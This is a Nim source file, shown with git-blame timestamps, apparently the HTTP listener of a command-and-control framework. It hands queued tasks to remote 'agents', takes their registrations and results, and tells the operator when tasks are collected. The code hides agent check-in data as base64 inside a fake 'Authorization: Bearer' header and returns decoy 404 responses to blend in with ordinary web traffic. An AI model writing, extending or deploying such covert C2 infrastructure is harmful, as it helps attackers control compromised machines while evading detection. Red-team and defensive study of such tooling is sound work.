2025-07-18 18:47:57 +02:00
|
|
|
import prologue, json, terminal, strformat
|
|
|
|
|
import sequtils, strutils, times, base64
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-07-16 10:33:13 +02:00
|
|
|
import ./handlers
|
2025-07-18 18:47:57 +02:00
|
|
|
import ../[utils, globals]
|
2025-08-14 12:25:06 +02:00
|
|
|
import ../../common/[types, utils, serialize]
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-05-13 23:42:04 +02:00
|
|
|
proc error404*(ctx: Context) {.async.} =
|
|
|
|
|
resp "", Http404
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-05-12 21:53:37 +02:00
|
|
|
#[
|
2025-08-13 13:38:39 +02:00
|
|
|
GET /tasks
|
2025-05-12 21:53:37 +02:00
|
|
|
Called from agent to check for new tasks
|
|
|
|
|
]#
|
2025-08-14 12:25:06 +02:00
|
|
|
proc httpGet*(ctx: Context) {.async.} =
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
# Check headers
|
2025-08-13 13:38:39 +02:00
|
|
|
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
|
|
|
|
|
if not ctx.request.hasHeader("Authorization"):
|
|
|
|
|
resp "", Http404
|
|
|
|
|
return
|
|
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1]))
|
2025-07-22 21:00:39 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
try:
|
2025-07-18 18:47:57 +02:00
|
|
|
var response: seq[byte]
|
2025-08-13 13:38:39 +02:00
|
|
|
let tasks: seq[seq[byte]] = getTasks(checkinData)
|
2025-07-18 18:47:57 +02:00
|
|
|
|
|
|
|
|
if tasks.len <= 0:
|
|
|
|
|
resp "", Http200
|
|
|
|
|
return
|
|
|
|
|
|
|
|
|
|
# Create response, containing number of tasks, as well as length and content of each task
|
|
|
|
|
# This makes it easier for the agent to parse the tasks
|
2025-07-22 21:00:39 +02:00
|
|
|
response.add(cast[uint8](tasks.len))
|
2025-07-18 18:47:57 +02:00
|
|
|
|
|
|
|
|
for task in tasks:
|
2025-08-14 12:25:06 +02:00
|
|
|
response.add(uint32.toBytes(uint32(task.len)))
|
2025-07-18 18:47:57 +02:00
|
|
|
response.add(task)
|
|
|
|
|
|
|
|
|
|
await ctx.respond(
|
|
|
|
|
code = Http200,
|
2025-08-14 12:25:06 +02:00
|
|
|
body = Bytes.toString(response)
|
2025-07-18 18:47:57 +02:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# Notify operator that agent collected tasks
|
|
|
|
|
{.cast(gcsafe).}:
|
|
|
|
|
let date = now().format("dd-MM-yyyy HH:mm:ss")
|
|
|
|
|
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.")
|
|
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
except CatchableError:
|
2025-05-22 20:03:22 +02:00
|
|
|
resp "", Http404
|
|
|
|
|
|
2025-05-12 21:53:37 +02:00
|
|
|
#[
|
2025-07-21 22:07:25 +02:00
|
|
|
POST /results
|
2025-05-12 21:53:37 +02:00
|
|
|
Called from agent to post results of a task
|
|
|
|
|
]#
|
2025-08-14 12:25:06 +02:00
|
|
|
proc httpPost*(ctx: Context) {.async.} =
|
2025-05-12 21:53:37 +02:00
|
|
|
|
2025-05-22 20:03:22 +02:00
|
|
|
# Check headers
|
2025-07-19 16:49:27 +02:00
|
|
|
# If POST data is not binary data, return 404 error code
|
|
|
|
|
if ctx.request.contentType != "application/octet-stream":
|
2025-05-22 20:03:22 +02:00
|
|
|
resp "", Http404
|
|
|
|
|
return
|
|
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
try:
|
|
|
|
|
# Differentiate between registration and task result packet
|
|
|
|
|
var unpacker = Unpacker.init(ctx.request.body)
|
|
|
|
|
let header = unpacker.deserializeHeader()
|
|
|
|
|
|
|
|
|
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
|
|
|
|
if not register(string.toBytes(ctx.request.body)):
|
|
|
|
|
resp "", Http400
|
|
|
|
|
return
|
|
|
|
|
resp "", Http200
|
|
|
|
|
|
|
|
|
|
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
|
|
|
|
handleResult(string.toBytes(ctx.request.body))
|
2025-05-22 20:03:22 +02:00
|
|
|
|
|
|
|
|
except CatchableError:
|
|
|
|
|
resp "", Http404
|
|
|
|
|
|
|
|
|
|
return
|